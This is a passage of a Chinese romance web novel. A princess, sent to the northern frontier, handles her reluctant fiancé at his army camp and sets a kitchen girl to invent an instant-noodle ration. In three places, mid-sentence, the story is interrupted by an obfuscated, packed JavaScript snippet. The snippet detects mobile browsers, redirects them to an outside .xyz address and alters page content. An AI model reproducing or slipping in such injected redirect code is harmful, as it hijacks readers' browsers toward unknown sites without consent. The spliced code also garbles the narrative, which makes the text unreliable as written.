“郡主的陪嫁铺子被百姓们联手抵制了。像脂粉钗环绸缎这些还好,东西搁着也不会坏,糕点铺却是不行,掌柜的发愁得紧。郡主给拿个主意吧?” 流萤怪道:“一点客流也无吗?百姓不买,官眷商贩也不买?” 不怪她有如此疑问,若是在盛京,哪家铺子被爆出来是皇亲国戚所开,一早便有那想要讨好攀附的小官小商贩去捧场了。 雾柳:“有闲汉就守在铺子外头,不许人进……” “也太过分了!如此行径,咱们都可报官了!”流萤气呼呼地看向封眠,催她尽快拿个主意。 封眠却是忍不住笑了:“好幼稚生硬的招数。” 也真是半点不思量后果,若她真动了气较了真,请郡守或鸾仪卫出手,可并非几句训斥就能揭过的。 幸而封眠并不打算计较,她起身吩咐:“去请指挥使和陆大人,就说我要去疾羽营一趟。” “军营重地,郡主贸然前去,可会惹世子不快?” 指挥使犹犹豫豫地站在马车旁劝道。接到郡主传召时,他与陆鸣竹正在郡主府内监工。做工的皆是北疆百姓,这几日他们可没少听说世子殿下如何如何想退婚。 这一路护送郡主,指挥使也是与郡主处出感情来了,如郡主这般又顾惜他们的性命,又为他们请功的贵人本就不多,更何况郡主丝毫不提因他们的轻忽而害她陷入险境的过错,岂能不令指挥使感念? 是以指挥使也从最初的敷衍了事,到如今开始为郡主担忧着想。现下正在别人家的地盘上,天高皇帝远的,若郡主不得夫家的喜欢,日子怕是会难过。 “指挥使放心,我是去给世子殿下送礼的,想来他定不会气恼。”封眠弯弯眼眸,吩咐道,“出发吧。” 指挥使和探头探脑的陆鸣竹对视一眼,无奈摊手,“出发!” 疾羽营设在云中郡郊,远远便可见营门两侧立着的丈余高的哨楼,披甲执锐的士卒目光如鹰隼般扫视四方,很快便发现了驶来的车马,立即传讯给守门的士卒。 车马刚行至营门,便被早有准备的守门士卒横戟拦住。 指挥使驱马上前报上了清平郡主的名讳,守卫并未放行,只道需去问过少将军。 等待的间隙里,封眠打开车窗打量了一下前方。 厚重的营门上悬一个漆黑的牌匾,上书“疾羽营”三个大字,笔力遒劲字体飞扬,透着锐利杀气。不时有成队的士卒列队行过,依稀还可听见校场之上操练时震天的吼声。 直到那操练声渐弱至消失,空气中传来三道低沉缓慢的鼓声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036554|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,依然没有人来放行。 指挥使脸色难看地敲开封眠的车窗,道:“郡主,方才是通知用餐的鼓声,营中已开始放午膳了。” “世子这么这样?将郡主晾在此处半日了!”流萤气鼓鼓道,“他们倒是用起膳来了!” “下去瞧瞧。” 封眠下了马车,径直走到营门前。守卫虽是给郡主见了礼,但横挡的两柄戟还是一动不动。 “没有少将军的吩咐,任何人不得入内!” 陆鸣竹上前护在封眠身前,斥道:“郡主是天家贵女,更是未来的世子妃,世子殿下缘何连出来见一面都推三阻四?” 两名守卫也不知如何答话,绷着张脸不吭声,反正他们接不到命令,说什么都没用。 “小心啊!” 惊呼声起,变故陡生,一个不明物体忽然从营内飞出来,直直地砸向陆鸣竹的方向。 幸而封眠就在陆鸣竹身侧,而指挥使一直关注着封眠,当即伸手,一左一右将两人向后一拽。 那天外来物直直砸在地上,一声脆响,四分五裂。竟是碗陶罐装的菜汤,汤汁四溅,尽数泼在了陆鸣竹的身上。 两名士卒惊慌失措地从营内冲了出来,呼号着:“可砸到人没有?!” 指挥使横刀挡在封眠身前,怒斥道:“大胆!你们险些害了郡主性命!” 两人面色大变,满脸土色地跪地认错求饶:“郡主饶命!我们当真不是有意的!” “方才也不知怎么回事就突然被绊了一跤,这陶罐就飞了出去……往日从未出现过这种怪事啊!” “是啊是啊,真是倒了霉了……” “倒霉”二字一出,除疾羽营外众人的视线皆下意识落在了陆鸣竹的身上。 方才那陶罐,好像就是冲着陆大人去的。 指挥使将封眠往身后护了护,心有余悸道:“郡主还是离陆大人稍微远一些好。” 陆鸣竹尴尬地站在原地,神色仿佛被冻住了一般僵硬,目光慌乱地垂下盯着地面,耳根烫得通红,手足无措地搓着衣袖角。他的袍角还沾着汤渍,看起来着实狼狈。 封眠并未接指挥使的话茬,她微微绕出来,先询问守卫:“不管是蓄意还是恶意,谋杀郡主可是桩大罪。现下我们可以进去,与世子殿下见上一面了吗?” 守卫亦是被这突然的变故惊得脸发白,当下自然顾不得什么命令不命令的,当即撤了拦路的戟,一人往营地内飞奔去向世子报信,一人忙不迭做出恭迎的动作,“郡主请。” 封眠这时才踱步到陆鸣竹身前,冲他眨眨眼睛,“陆大人瞧,祸兮福之所倚。此番全赖陆大人身有奇异,我才能顺利入得疾羽营。在此多谢陆大人了。” 她像模像样地冲陆鸣竹行了抱拳礼,唇角扬起的弧度并非嘲笑,而是温暖且令人安心的笑意。 陆鸣竹呆呆地站着,四周的一切仿佛都在他的世界隐匿了。所有针扎一般的视线尽数消弭,他所有的感知都倾注在面前的少女身上,她俏皮的神色和轻柔的嗓音仿佛都被镀上了一层淡淡的光,敲打在他因尴尬、自责、懊恼和丢人而变得皱巴巴的心脏上。 他张了张嘴,却发不出声音,只能也扯起唇角回以一个万分真挚的笑意,抬起几乎因一瞬间席上心间的酸涩的温暖而变得有些无力的双手,回了一个抱拳礼。 真好。真好。有幸能护送郡主来北疆,真好。 21. 第 21 章 “郡主?她何时来的?” 百里浔舟刚端起碗准备用膳,就见一名守卫惊慌失措地狂奔至门口,扑通跪地行礼,嚷嚷着郡主来了,还险些被士卒手中摔飞出去的陶罐砸破头,正气势汹汹地入军营,要讨个说法。 他眉头微挑,十分诧异。 报信的守卫一听便心知不妙,殿下怎么好似根本不知道郡主来了啊? 他缩缩脖子,讪讪道:“郡主巳时便到了……” 百里浔舟脸色一黑:“怎么现在才来报?” 即便抛开他与封眠之间这桩不甚如人意的婚事,也没有平白无故将人晾在营外快两个时辰的道理。 守卫一脸委屈:“郡主一来便遣人通传过了,只是一直未收到殿下的指示。属下实在不敢擅自放郡主入营。” 天杀的,是谁胆大包天地把消息拦下来了? 百里浔舟一瞬犹豫也无,看向另一侧正默默用饭的军师姚知远。 一身青色书生袍的姚知远加快了嘴中咀嚼的速度,待咽下口中的食物,才开口道:“嗯,是我干的。” 百里浔舟眉心微抽:“……” 听听这语气,好理直气壮啊! 百里浔舟深呼吸,提醒自己姚知远是个书生,是个难得与他处得来的书生,不能跟他动手,不能跟他大小声。 他可不能跟父亲一样,三天气晕一个军师,七天气跑一个军师。 不会带军师的将军只能哭哈哈地自己干到死了。 沉沉呼出一口浊气,百里浔舟自齿缝间挤出两个字:“为何?” 又塞了一口饭的姚知远一边嚼嚼嚼一边奇怪地看了一眼百里浔舟。 他生了张清淡如水的面容,眉宇间书卷气格外浓厚,只一双狭长的狐狸眼刻薄得很,瞧谁都像在瞧笨蛋。 “殿下不是想退婚?将郡主惹恼了,她自然不想嫁给你。” 百里浔舟:“……” 百里浔舟张了张嘴,又无力地闭上,他竟无从反驳。他确实是想退婚,但这种从百姓到军师都为了帮他退后而鞠躬尽瘁的热情,也真是让他招架不住。 见百里浔舟不说话了,姚知远继续沉默地用饭,眼里只有对食物的渴望。一会儿郡主到了,怕是就没得吃了。 这念头方一闪过,外头便传来了密匝匝的脚步声。 姚知远不舍地看了一眼面前的饭碗,大大扒了一口饭进嘴中,才依依不舍地将碗搁下。 早知道会被打断用膳,他就不干这事了。 他一面闭着嘴努力咀嚼,一面起身随百里浔舟一起向走进来的郡主见礼。 “想见殿下一面可当真是不容易。”封眠并未让他们免礼,冷着一张俏生生的小脸,径直走进屋内坐下。 泥人尚有三分脾性,被无端晾上这么一遭,她总也要端上一端郡主的架子。不然也太好欺负了不是? 封眠一记眼刀飞向了百里浔舟,小嘴淬了冰:“若不是本郡主险些就在这营门口丢了性命,怕是连门都进不来。” 她说着招了招手,鸾仪卫押着那两名摔飞了陶罐的士卒进来。 将陶罐摔出去的那个士卒膝行两步,面如死灰地叩首道:“小人王二无意间冲撞郡主,罪该万死。但同僚小七实属无辜,还望郡主饶他一次!” 一旁唤作小七的士卒泪汪汪看他:“二哥!” 小七哽咽着一同叩首:“若不是小人非要王二哥打一罐菜汤回去,也不会出此意外,要罚,还请罚小人吧!” 两道此起彼伏的呜呜咽咽,听着好生可怜。 封眠单手扶额,指尖压在眉骨之上,掌心遮住她不忍的视线。在旁人看来,她完全是一幅心冷如铁,毫不容情的模样。 百里浔舟上下扫了一下封眠,“不知郡主伤到了何处?” 封眠转了转眼珠,不悦地轻哼一声:“本郡主虽没伤着,却受了惊吓。” “瞧陆大人这身上好的袍子也被污了,还如何穿?”她随手指向陆鸣竹。 陆鸣竹站在她右侧,自然看见了她眼中藏着的狡黠,知晓她是想一报冷落之仇,心下觉得好笑,便配合得拎起袍角展示菜汤留下的汤渍,抬抬下巴发出与封眠如出一辙的轻哼。 百里浔舟眼底厉光一片,来了北疆几日,这便现出刁蛮霸道的原型了? 被迫中断进食的姚知远先他一步忍不住,大步迈出,作揖请罪:“若论罪责先后轻重,皆起于卑职。卑职未将郡主驾临的消息知会世子,才致怠慢郡主……” 话未说完,百里浔舟便开口打断:“如此追根究底,却是我的错。方才我等正商议军中机密,是我下令不许任何人通传任何消息。怠慢了郡主,请郡主降罪。” 将士同心,一致对外的戏码当真是感人至深。 封眠撇撇嘴,打算再吓他们一下便收手:“喔,世子要商议的军中机密,便是军中饮食吗?” 她说着话往案几上一望,却是顿住了。 案几上摆着四个粗糙的陶碗,一碗盛着粟米饭,黄澄澄的瞧着分量足,但米粒干硬,口感八成不大如何。旁边一碗稀薄的菜汤,寡淡地飘着几片蔫黄的菜叶子。另有一碗黑褐色的腌菜,并一碟子粗粮饼。 堂堂定北王世子,定北军的少将军,在军营时午膳就吃这些?那底下的士卒又能吃到什么好东西? 未说完的话卡在了嗓子眼,封眠悻悻然看向百里浔舟,小心问道:“军中就吃这些?” 百里浔舟下意识顺着她的话音看向了面前桌案的餐食,确实是有些寒酸的样子。 他还没明白过来封眠怎么突然将话题绕到了军中餐食上,姚知远已一板一眼辩道:“郡主莫要瞧不上军中吃食。前几日刚被烧了粮草,难免节俭些。” “不过今日的面饼子中掺了一半的细面,口感好得很。这腌菜也是伙头祖传的手艺,定北军上下无人不爱。” “营中每半月还会宰一次羊,改善伙食。巡防烽火台的士卒可吃不到这些。” 一饭一菜皆是天赐,他誓死捍卫自己所吃的食物! 封眠听了讷讷难言。她以为将士们在营中时能比行军时吃得好些,如今看来,也并未好多少。 她看向仍跪着的两名士卒,想着他们兴冲冲捧着一陶罐的菜汤准备用饭,半途却摔了,还惹上她这么个大麻烦…… 封眠藏在袖底的手指攥了攥衣角,眼睫轻轻一颤,生出几分懊恼,早知道不吓唬他们了。 陆鸣竹注意到封眠的情绪变化, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036555|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当即清清嗓子,给封眠递台阶,“郡主,他们虽是无心之失,却也令郡主受惊了。不知郡主想要如何处置他们?” 封眠感激地瞧了陆鸣竹一眼,看过去的眸光清澈如小鹿。陆鸣竹不得不使劲绷紧唇角,克制上扬的弧度。 封眠迫不及待地接话道:“他们是世子的兵,还是由世子决断吧。不过既然是无心的,我与陆大人也都并未受伤,也不必太过苛责了。” 百里浔舟眉目微松,冲两名士卒使个眼色:“都听见了?还不快谢过郡主。” 王二和小七劫后余生,大喜过望:“谢过郡主!” 生怕郡主喜怒无常又反悔,百里浔舟赶紧摆摆手赶人:“先下去,晚些寻我领罚。” 两人知晓这便是不罚的意思,登时中气十足地应了一声,你搀我我搀你地,脚底抹油地跑了。 姚知远颇有些羡慕地看着两人的背影,他也想抱起饭碗离开这里。这清平郡主到底来疾羽营干什么啊? “郡主今日来此,所为何事?”百里浔舟目中有些警惕,无事不登三宝殿,在营外等了半日都不肯走,怕是所图不小! 封眠望了雾柳一眼,雾柳走到百里浔舟面前,递上所画东西街市舆图。 封眠:“这上面用墨笔圈出的是我在云中郡的陪嫁商铺,用朱砂圈出的,是准备近日买下来的铺子。” 百里浔舟递来一个疑惑的眼神:“所以呢?” 钱不够? 自己可没多余的银钱借她。 有也不借。 封眠眉眼弯弯地露出一个笑,“我准备做些凭证送予世子,日后凡是军中将士及其家眷去铺中消费,可以凭借凭证便宜二成。” 百里浔舟一怔,舆图上圈出来的铺子涵盖民生各处,对将士们来说绝对是好事一桩。 姚知远看着舆图上被圈出来的好几家酒肆食铺,眼眸微微一亮。 他与百里浔舟对视一眼,两人都觉得这天上掉下来的馅饼太重,砸得他们有些不敢相信,她如此这般,图什么? 姚知远忽然想到一事,“听说郡主的铺子如今遭百姓抵制,这是想另辟蹊径,借助世子的民声,为您铺子的生意造个突破口啊?” 他向百里浔舟使了个眼色:她有所求,快谈条件。 百里浔舟了悟,去铺中消费享些折扣确实是好事一桩,但他们也不是非要这恩惠不可,反观这铺子若是经营不下去了,于郡主才是不利。 他扬了扬眉,道:“若你愿意退婚,我自然愿意为郡主的铺子解决麻烦,无需郡主让利。” 这也能绕到退婚上?是有多不情愿? 封眠轻轻蹙了蹙,暗暗咬牙,这般三番四次地推拒,好像她多上赶着想嫁似的! “世子慎言!” 出乎意料的,向来温和腼腆,一路行来从未与人红过脸的陆鸣竹先于封眠发作了,线条柔和的眼眸中藏着暗火,硬邦邦道:“世子几次三番作退婚之言,郡主仁善,皆未放在心上,如今真心实意为北疆将士们谋些福祉,不是为了让世子如此羞辱的!” 字句铿锵,惹得早有不快的流萤和雾柳纷纷投来赞扬敬佩的目光,就差为他鼓掌了。 屋内一时冷如冰窖,针落可闻。 22. 第 22 章 陆鸣竹一番铿锵发言掷地有声,说得封眠暗暗偷笑,不得不假作制止的模样侧首看他一眼,抿平自己上翘的唇角,才回身道:“世子殿下不会以为区区几名闲汉,几间铺子,我便处置不了了吧?” “我只是不想与百姓们闹得太难看罢了。又觉得正巧也可以为将士们做些什么,成了两全其美之意,并非自私牟利。世子是否对我偏见太过了啊?” 百里浔舟的脸皮没有姚知远那般厚,已微微地有些红了。虽仍没放下她是不是有所图的疑虑,但他们确实仅凭偏见便将她的意图想得很糟糕。 他正要开口,一旁气定神闲的姚知远忽然道:“郡主这些铺子,似乎恰好可以将东西市的动向尽数掌控?不知是意外,还是郡主有意为之?” 话是这般客气的问法,实则观朱砂笔所圈出来的铺子,已能认定她定然是故意的。 封眠拿着舆图给他们看,便做好了被他们看出来的准备,当下也不遮掩,坦诚道:“不错,是我有意为之。” 她扬了扬下巴,带着不甚愉快的倨傲,“我可不想再从其他女子口中得知未来夫君的行踪。” 其他女子?什么女子? 陆鸣竹眉心拧得死紧,目光直能在百里浔舟身上戳出一个洞来。 姚知远亦是一愣,往百里浔舟身上看了一眼:你在军营里藏人了? 百里浔舟只觉一口大锅从天倒扣,冤得他眼前一黑,“什么女子?哪来的其他女子?” “我既没有往世子殿下身边塞探子,也没有故意隐瞒买铺子的行为,世子殿下总应看得见我的诚意吧?”封眠半个字也不解释,说着就起身要告辞,“要不要为军中将士谋这份福祉,世子考虑过后再来寻我吧。” “等等……”百里浔舟还要说什么,姚知远摁住他的肩膀抢话道:“不必考虑了。此举百利而无一害,姚某在此代众将士多谢郡主了!” 封眠满意颔首,这位姚军师倒是识时务。 “那稍后便劳烦军师与陆大人交接一番军中各营将士的大体情况,我们也好开始制凭证了。”她扫一眼摆着饭的案几补充道,“不急,待用过午膳之后再忙。” 姚知远更加满意了,抬手一礼:“恭送郡主。” 一行人浩浩荡荡地消失在视野中,姚知远拍了拍百里浔舟的肩:“为了大家好,殿下眼下先暂且屈服吧。殿下不必忧心,成婚后亦可筹谋和离。” 百里浔舟咬牙,怎就没事了?她还没说清楚是什么女子呢,他一世清白都毁了! 百里浔舟一把拍开姚知远的手,大步流星地向外走去。 姚知远在后头喊他:“你饭不吃了?” “不吃了。”气也气饱了。 姚知远听他说不吃了,也不再劝,美滋滋地将他的饭端到了自己桌上,“可是你自己说不吃的。浪费粮食不好,下官便替殿下解决了吧!” 另一边,封眠在回去的路上就如何制作凭证与陆鸣竹细细聊了聊。 这凭证要做得便携又不易被仿制,陆鸣竹提议做成类似军牌的东西,打造轻薄铁牌,刻上名姓与编号,穿孔系绳,戴在身上便不怕遗失。 “便是不慎丢了,也能凭信息找到主人。若找不回铭牌,重新补办,也不怕从前的铭牌被人捡了去,冒名顶用。”陆鸣竹说的全是经验之谈。他曾经在赶考时倒霉地丢了路引,那路引被旁人盗用入城,害得他被关了三日。 往事当真是不堪回首。 “这个主意甚好。”封眠颇为认同地点点头,这是她为了这些辛苦的戍边将士们准备的一点微薄的福利,若是轻易便能被旁人顶替了去,实在不公。 “给士卒家眷的凭证也如此做吧。不如这样,做两张一模一样的铭牌,分为一主一副,主牌由本人所持,副牌便交予他的家眷。已成婚者给妻子,未成婚的则给母亲。如何?” “好。只是军中士卒众多,恐怕要花许多时间。” “慢慢来便是。我的铺子如今都在云中郡,便先从云中郡疾羽营开始,逐一发放。”封眠郑重地看向陆鸣竹,解下腰间刻着“清平”二字的玉牌递过去,“此事便拜托给陆大人了,凭此玉牌行事,想必会方便许多。” 陆鸣竹见封眠如此信任自己,心下一热,又有些犹豫,“我运道不好,若是不小心搞砸了……” “你说自己运道不好,不还是好端端活到了今日?”封眠打断他的自怨自艾,“如今你已做了新科进士,天下不知多人羡慕你。祸兮福所倚,只要你不觉得自己倒霉,相信一切皆有转运之机,多多行善,总有改运之日。” “我虽不知好运何时会来,却知道,你这么多年来积累的避险经验,比旁人多了数倍,逢凶必定化吉。” 她说话时,那双清透如溪的眼眸一瞬不瞬地认真望着他,不容置疑地将手中玉牌塞进了他的掌心。 陆鸣竹只觉一股细微的麻意从指尖窜上来,令他呼吸都滞了一滞。 是啊,他方才不正是因往日的倒霉经历,才提出了补办铭牌以防他人冒名顶替的主意吗? 郡主说得对,他要相信自己总有改运之日。祸兮福之所倚。 陆鸣竹晕头晕脑地点头,誓不辜负郡主的信任。 马车也快行到王府,封眠还想邀陆鸣竹和指挥使等人一同用午膳。毕竟今日因着她的缘故,众人才都饿到了现在。 “下官还要赶回郡主府交接些事宜,便不叨扰郡主了。”陆鸣竹急着解决完手头上的事,去给郡主做下一份工,匆匆拒了。 见他不去,指挥使也不敢自己去打扰郡主,也说郡主府有事,跟着一道走了。 王府内,王妃已用过午膳歇下,叮嘱了厨房替封眠备膳。封眠刚一回府,热腾腾的饭菜便已经摆上了雪月居的餐桌。 黑漆描金山水案上摆着七个碗碟。 一小碗碧粳香稻米饭,米粒颗颗分明,饱满喜人。一碗热腾腾的鱼片粥,鱼肉雪白,煮得开花的白米粒粒晶莹。一小碟苦菜醋芹,翠色欲滴,鲜嫩地像刚摘下来一般。一道胭脂鹅脯,色泽脱俗明媚,鹅肉细嫩。一碟酿苦瓜盅,被挖空的苦瓜如碧玉环一般,中间填着肉末,琥珀色肉汁格外诱人。另有一叠炸果子,并一琉璃碗盛着的几枚拳头大的新鲜李子。 封眠执了筷,看着满桌的菜肴,却有些下不去筷。 “怎么了郡主?不合胃口吗?”雾柳敏锐观察到,开口询问。 封眠轻轻摇了摇头,眼睫微垂。 王府已算节俭,菜色比她平日的膳例减了半数,却也是瓜果蔬菜俱全,道道精致。比之世子在军营中所用膳食好了不知道多少倍。 更遑论盛京中的诸家勋贵,皆是饫甘餍肥。可防边卫国的将士们却食陈米,饮清汤。 往日她只是听说边疆苦,行军更苦,却都不如亲眼一见来得震撼深刻。 用那几间铺子福惠士卒,她确实是含着收买人心的私心的。此时想来,难免觉得有些羞愧。 若想让他们平日里能吃得好些,她能做些什么呢…… 封眠沉思着,目光忽地落在了炸果子上,脑海中翻上来一个被她抛之脑后的梦境。在往云中郡来的路上,她因胃口不佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036556|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没吃几口饭,小憩时腹中空空,便梦见了一种叫方便面的吃食。 干巴巴的汤饼配几个小料包,料包中有做成酱状的汤底,有细碎的肉干,还有一些脱水蔬菜。用沸水冲泡,便能变成一碗香喷喷热腾腾的汤饼,有肉有菜有滋味。 如此便捷的食物,岂不正适宜给将士们做军粮? 封眠急匆匆吃了几筷子菜饭,就坐到案几前提笔,苦苦回忆那“方便汤饼”的制法。 阳光自窗外斜斜漏下,落在青砖地上,碎成一片片晃动的光斑。 一道身影急急奔过,竹间海棠提花百褶裙将光影搅乱。 “流萤,雾柳,快带我去小厨房。” 小厨房,穿着粗布衫裙的厨娘吴婶局促地搓着围裙,垂着眼不敢与封眠对视,“油炸汤饼?我、我从未做过呀。万一做坏了,岂不是糟蹋东西了?” 她夫家近日才掌上了王府的采买事宜,日日训她无用,让她安分守己地做活,不能犯错连累了他,她实在是害怕自己做不好郡主的差事,再挨了训斥。 “无妨,这东西就是要多试几次才做得出来,你不用担心。”封眠温声安抚。 吴婶仍是怯怯地:“大厨房的老刘头擅长制炸物,不如……” “我能做,我也会做炸物!”一道脆生生的女声响起。一个梳着双丫髻的小丫头背着背篓从院门外跑了进来,她瞧着十二三岁的模样,眼神却坚定。 “你瞎掺和啥?你别误了郡主的事!”吴婶将小丫头往身后扒拉,向封眠赔笑道,“这是我家小闺女,她年纪小,不懂事……” 小丫头倔强地避开她,迫切地望着封眠,“我十二岁了,厨上的事我都熟的!郡主请让我试一试!” 她眼尖地瞧见流萤手里拿着的宣纸,又补充道:“我识字,我能照着方子做!” “她不……”吴婶还想阻止,被雾柳一个眼神制止,只能讪讪住了嘴。 封眠看向面前这个努力自荐的小丫头,她眼睛亮晶晶的样子,像极了不服输的小野猫。 “你叫什么名字?” “我叫槐花!”槐花声音十分响亮,中气十足。 封眠想起院中那颗她一直盼着开花的槐树,不由地弯了弯眼睛,示意流萤将手上写了汤饼制法的宣纸递给她。 “你去过学堂?” 槐花赧然摇头,“我只路过过,没进去过。我路过时,偷偷听的。” “那你将上面的字念来我听听。” “汤饼……”她念了两个字便卡了壳,眼珠转了转,蒙道,“汤饼制法……” 那上头写的是“汤饼做法”。 封眠弯了弯眼睛,看着槐花泄气地捧着宣纸,眼巴巴看过来,坦诚地道歉:“郡主,我错了,我认得字其实不多……但我能学!我学东西很快的!” 封眠没说话,槐花的目光逐渐黯淡下来:“对不起……” 她又道了歉,缓缓将宣纸递还。 “流萤,念给她听。”封眠这才开口。槐花胆子大,知道错了便立时坦诚道歉,也确实识得几个字,便给她一个机会试试。 槐花高兴得几乎跳起来,“谢谢郡主!” “一个时辰内,你要将制法背下来。厨房内的食材你都可以用,缺什么便告诉流萤,五日内给我一个结果。可能做到?” 槐花重重点头。 她就是不吃不睡,也定要把这东西做好。 阿娘害怕做错事得罪贵人,她不怕。况且她定能做好,到时得了贵人青眼,看她那个便宜爹还敢不敢欺负她和阿娘! 23. 第 23 章 街巷灯影明明灭灭,整座云中郡归于一片寂静之中。 疾羽营中除了例行巡逻的士卒,其余人也都已睡下。 世子殿下的寝舍内亦是一片昏昧。 忽然,躺在床上的人猛然睁眼坐了起来,拧着眉脱口而出:“难道是那次?!” 自白日里封眠说了那么一句“我可不想再从其他女子口中得知未来夫君的行踪”,百里浔舟一直在冥思苦想到底是何时何地何人,直到方才辗转反侧,闻到挂在床尾的药包散出的淡淡苦香,才忽然福至心灵。 刚得知粮草被烧一事那日,他出门去寻褚景淇,恰好碰见元寄雪从外头回来,便顺嘴问她可有在街上看见过小侯爷。 郡主说的应当就是那次了! 百里浔舟丢开被子就要下床,想去找封眠说清楚。脚刚踩到鞋上,又忽然顿住。 跟她解释这些干什么? 又未打算与她真夫妻,误会便误会了,有何要紧的? 他暗暗想到,重新往床上一躺,睡觉! 这一晚因为封眠而没睡好的,不止百里浔舟一人。 天边微微透白之际,定北王府下人房一间小门被轻轻推开,眼底青黑的槐花精神抖擞地出了房门。 昨日她花了半个多时辰将郡主交予的汤饼制法背了下来,又试着炸了两次汤饼,都不成型,只将几样蔬菜做了脱水处理。今日要着手晒蔬菜干,再继续炸汤饼,调酱料。 小厨房被王妃拨给了封眠用,封眠又将其拨给了槐花用,说直到她将汤饼做出来之前,这小厨房尽是槐花一人的。 槐花亢奋又斗志满满,一个人在小厨房里忙忙碌碌,直到日上三竿,一个人骂骂咧咧地闯进来。 “你个没长毛的臭丫头,老子辛苦采买回来的东西就是给你这么糟蹋的?” 槐花还没来得及反应,手上长柄竹筷被夺了去,砸进沸腾冒泡的油锅之中,热油顿时溅了出来。 槐花下意识地后撤躲开,热油只溅到了她的衣裙上。 满身酒气熏人的男人接着扬臂扫向厨案,回过神来的槐花猛地撞了上去,瘦小的身躯将男人撞得踉跄后退,跌靠在墙上。 “你发什么疯!这是郡主殿下要的东西!”槐花护着案板,怒气冲冲地瞪着男人。 “郡主?郡主那样的贵人跟你有个屁的关系!”男人涨红的面皮满是被忤逆的恼怒,他目光四处搜寻着,忽地从门后抓起一根木棍,“敢推你老子,看我不打死你!” “当家的!”吴婶尖叫着从门外闯进来,将槐花护在身后,硬生生用背扛了一棍子。她用手捂住槐花的嘴,将眼眶通红的槐花严严实实地遮在身后,讨好地笑着看向男人,也就是她的夫家吴买办,“当家的,花儿说得是真的,这确实是郡主给的差事。” 吴婶将事情经过快速跟吴买办说了,吴买办这才信了。他得罪不起郡主,只恨恨瞪了眼槐花,“那你就好好办差,要是搞砸连累了老子,老子就把你娘休了!你们两个都滚出去自生自灭!” 他砰一声丢开木棍,又骂骂咧咧地走了。 吴婶腿一软靠在了槐花身上,槐花泪珠滚了下来,搀住她,“娘,你怎么样?走,我带你去看大夫。” “娘没事,不就是一棍子吗,受得住。你没事就行。”吴婶捋了捋槐花的额发,满眼心疼,“娘不让你碰这差事,你非接。已经这样了,你就好好干活,若是搞砸了,娘陪你一起去跟郡主请罪。” 槐花抹掉眼泪,坚定道:“我一定能成!” 都是因为她,娘才一直委曲求全,她一定要完成好这个差事,待在郡主面前露了脸,说话有份量了,就能保护阿娘了! “人没事吧?” 午间,封眠往正院去与王妃一同用午膳,路上听流萤将一清早小厨房的闹剧讲了,眉心拧得能夹死一只小飞虫。 流萤忙摇头,答道:“没事,听洒扫的婆子说,吴婶已上过药了。” 她这几日在王府跑前跑后,已经各处的下人们几乎都混熟了。封眠在这王府里,再也不是闭目塞听的了。 “这是什么父亲,对自己的妻女如此狠毒?” “奴婢打听到,槐花不是吴买办亲生的,是吴婶与前夫的遗腹子。吴婶当时也是没法子了,经人介绍嫁给了吴买办,才能进王府做活。待发现吴买办是个好赌嗜酒的烂人,为了养活孩子,也已经抽身不得了。” 流萤亦是气鼓鼓的,“这吴买办有个舅父,当年是老王妃身边跟着的老人,在府中颇有些威望,惯常替吴买办遮掩。吴买办此前也只是在家中与吴婶闹,所以他的事一直没闹得太大。” 封眠略略思忖,道:“安排几个人去附近盯着,那吴买办再来闹事,便将他押了送来。” 流萤大为赞同地猛点头:“好!” 王妃也听说了封眠在小厨房折腾什么吃食的事,好奇地问她如此大费周章是在做什么。 封眠见王妃并不知道吴买办那一桩事,便也没提起,只卖了个关子道:“待做出来您就知道了,绝对是好东西。到时我送予您尝一尝。” 王妃好笑地摇摇头,拍拍她的手,“那你可别太快做出来,让人占着你的小厨房,你便得日日来和我一道用膳了。” 她家里头两个都是不常在家的,她好多年都在遗憾没有再生个女儿,如今府上来了个儿媳,不考虑儿子的心情,她实则是有些高兴的。 想起那个犟儿子她就糟心,郡主是个多好的姑娘,两人都没有其他的爱慕之人,若是能多接触接触,说不定就能生出几分心思来,也不会成就一双怨偶。他偏连多相处相处都不愿,镇日里躲在外头不回家。 “您要是高兴,我可以日日陪您用膳。”封眠笑着靠了靠王妃的肩头,小女儿般撒娇。王妃身上有母亲般暖融融的味道,她很喜欢 王妃温柔地摸摸她的头,抬手招来自己身边的侍女枕书。 枕书呈上一沓精致的名帖。 “郡主府还未建好,这些天邀你赴宴的帖子便都寄到王府上来了。你若想去,便回个帖子,不想去便不必理会。”王妃说罢,想到什么,又问道,“我记得小满是你的生辰,算算日子也快到了。到时可要在府上设个宴?” 封眠眼睫低垂一瞬,藏起眼底一点郁色。 她出生于小满那日,可母亲也死于那日。自她有记忆起,她的生辰便是在一片沉郁之中渡过,直到翌日,才会收到一碗长寿面。 